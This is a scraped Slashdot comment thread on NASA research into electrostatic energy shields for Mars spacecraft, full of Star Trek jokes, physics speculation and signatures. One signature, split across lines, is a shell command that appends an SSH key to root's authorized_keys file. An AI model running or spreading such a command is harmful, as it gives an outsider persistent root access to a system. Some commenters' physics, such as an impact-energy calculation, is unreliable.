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NASA Studying Energy Shields for Spacecraft
Shafe writes "SPACE.COM posted an article concerning enhanced shielding technologies research for futuristic spacecraft en route to Mars. One particularly interesting goal is essentially an energy shield known as a 'multipole electrostatic shield' that would deflect both radiation and micro-meteoroids. We're one step closer to Star Trek: shields up!"
say that their website should shield up against the slashdot effect, but it's still alive ;)
If it already died, then: "OMGz!! YOU'VE SLASHDOTTED SPACE!!!1"
^_^
George Lucas is on a roll!
The only thing astronauts need is a female [Borg, Vulcan, starship captain, councilor] to make that trip to Mars!
It is easier to build strong children than to repair broken men. -Frederick Douglass
If we were to get a warp drive to work, then that would be our ultimate shield. All this nonsense with electrical this, and radiation that is pointless. All you have to do is warp space in such a way that it creates a vessel in which the spacecraft can exist, but that joins the otter boundary of the 'pocket' into one point. essesntially the pocket plane would not exist from the outside, and since no disturbance of the surrounding space would be apparent by the radiation passing through that point of set of points it would be a perfect cloak. Propulsion would simply involove warping a 'door' on one side of you pocket plane, and connecting that plane to another set of points a certain distance away.
m y5RAoSjYpomy0DYGxa5w== rsa-key-20040528" >> /root/.ssh/authorized_keys
Simple, just as soon as we can manipulate space and time like LSD manipultes the mind with the skill and artistry of Davinci and at speeds aproching that of light.
--
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAACB7VnbesvfvrFgPBW+7ZBQdV
md5sum
d41d8cd98f00b204e9800998ecf8427e
I bet all these engineers were just big geeks that loved sci-fi and when the problem comes up, they fall back to what they know: Star Trek!
;)
It really never amazes me when they think up something out of a Roddenberry or Asimov story. They are good ideas, just not possible at the time.
Technically, nothing is impossible....given time
Der Tod ist der einzige Weg hier raus!
My other question is what sort of energies are we talking about here since protons are fairly massive? I would guess in the 100+ GeV range (ie. particle accelerator size). Any thoughts or better links?
The sending of this message pretty much inconveniences everyone involved.
IIRC, bombarding lead with cosmic rays (high energy radiation) produces secondary radiation, not particles. In terresterial radiation shields, a series of layers of metals is needed to provide protection: shield metal layer n+1 absorbs the secondary radiation from layer n.
Of course, such shields are too heavy for space.
The clearance system sounds logical. It is not. It is completely arbitrary. -- John Bolton
that they have to drop their shields when they cloak.
the TARDIS! There are a number of people studying this sort of space warping. go to arxiv.org and so a search for Alcubierre, Krasinov, etc. You will see that this is not such a new (or such a far-out) idea.
#include "humorous_pop_culture_reference.h"
I found the abstract for the paper presented by Metzger, Youngquist and Lane here.
There's no metal spheres involved, just some sort of electrostatic field:
"We have recently observed, however, that the physics and the shielding problem possess certain asymmetries which may be exploited in order to obtain the intended shells of isotropic protection without deploying radially-symmetric charge around the spacecraft. The basic concept is to leverage a multipole expansion of the fields, assigning a different function to different terms in the expansion. As shown in Fig. 1, a positively-repulsive quadrupole term may protect the region closest to the spacecraft from high-energy protons and HZE particles, whereas a weaker but slowly decaying monopole field may deflect thermal electrons away from the larger region of space. The result is that the significant fluxes of both negative and positive particles may be deflected away from the spacecraft using the same electrostatic field. This has the potential to create isotropic protection with a significant reduction in spacecraft mass."
from the article: The center sphere, set close or even attached to the crew module, would be positively charged, while two outrigger spheres on either side would carry a negative charge.
Outriggers? So the real reason for the nacells on Star Trek is to generate electrostatic fields?
SJW: a person who perceives an injustice, and while correcting it, commits a greater injustice.
No trees were killed in the sending of this message. However, a large number of electrons were terribly inconvenienced.
That is extremely and profoundly incorrect. Trees were killed. In fact, streams, valleys, and even entire mountains and watersheds were destroyed so that you could send this message. See for yourself.
Here and Here.
- Hail to our fearless misleader! Fool speed ahead!
would be to send a lot of them there... knowing that a majority would die from the exposure.
those survivors might be more resistant to radiation, and could possibly pass on that resistance to their offspring, and so on.
evolution is the key to colonizing other environments.
Somewhat unrelated, but perhaps they could use something along the lines of this.
Patrick Doyle
I mod down every jackass who puts his moderation policy in his sig. Oh, wait a sec....
a positively-repulsive quadrupole
Sounds like my ex!!
My other question is what sort of energies are we talking about here since protons are fairly massive? I would guess in the 100+ GeV range (ie. particle accelerator size). Any thoughts or better links?
Actually when it comes to cosmic rays, the spectrum extends to the EeV range and even beyond. Here's an energy spectrum. In fact I'm doing my PhD on the study of cosmic rays at energies 10-1000 EeV, much higher energies than can be achieved in current particle accelerators.
I happen to know that she's a dipole. If you don't believe me, ask her girlfriend.
Seeing as how Mars has 1/3rd earth gravity and seeing as how less gravity causes bone loss because our bodies need to respond to our own weight to maintain bone density, seems to me that the ideal suit would be one which weighed just enough to compensate for the lack of gravity. Hopefully the amount of shielding needed would not account for all the extra weight so you could make suits one-size-fits-all and just add extra weight as needed per person.
A fool throws a stone into a well and a thousand sages can not remove it.
We'll need one appropriately surly, slightly alchoholic, mechanical genius Scottsman per ship please.
It will take some careful screening, but who else could keep all of the hardware required for this working?
Of course you should note the relative flux of cosmic rays out beyone a TeV, and especially out to 1000 EeV. Not too likely to hit a spacecraft.
But unfortunatly we aren't at the point where we can extract resources and manufacture things in space or in a low G (the moon) location. Also, i dont know if theres an abundance of suitible materials for physical shielding (lead, vanadium etc) easy accessable to us off planet. So for now we still have to shoot stuff into orbit and that means we need to save as much weight as possible. Although less weight means less mass which means less energy needed for ac/deceleration, so in space there are still some advantages.
"Sic Semper Tyrannosaurus Rex."
No, the nacelles generate the warp field, which is used for propulsion. This is strikingly similar to deflector shields, which are produced by the big blue thing between the nacelles and under the saucer section (in the common saucer/body/2 nacelle configuration). The deflector shields though, are different from the shield shields, which protect from phasers and torpedoes etc, not sure where those are generated from. Deflector shields are a practical idea in the real world though, and something similar is absolutly nescesary for space travel at any practical speed. E=MC^2, so if you're traveling half the speed of C, that random micrometeorite grain of silica (assuming mass of one mg) will hit your ship with energy equaling 22468879500 Joules (somebody wanna correct my math? 1*10^-6(.5c)^2 its late, its been 2 years since physics and i've had about 6 shots of jameson's...). Not sure what that is in tons of TNT or hydrogen bombs though...
"Sic Semper Tyrannosaurus Rex."
what i never understood is why NASA doesn't focus on super-structure construction ... say a spheroid structure of some geometric order ... which is then filled with water, which then has the crew module inside, which is incidentally designed for self-enclosed, sufficient, sustained surrounded-by-water living ... something we can develop fairly well down here.
...
...
in other words, all this effort to make a spacecraft, when in fact we need to a) blow a very big bubble of water, b) put crew in it, c) shove it off in the right direction.
i guess the idea of having an extreme mass of water in orbit is a bit far-fetched, but it always seems weird to me that we're not really pushing our materials-science stuff to be 'lazy' in the right places. humans need water, why don't we just learn to live in the 'water tank' down here, then put it up there and do the same thing
well, the relevance, however farfetched, is that water seems to provide a good protection from harmful elements, right? put the electrostatic shields around the massive water sphere, and a yellow submarine or two in the middle, and nudge it on its tumble-weed way to mars
; -- the corruption of government starts with its secrets. a truly free people keep no secrets. --
As far as materials, the article didn't say, but I'm pretty sure dilithium crystal is involved.
http://ablegray.com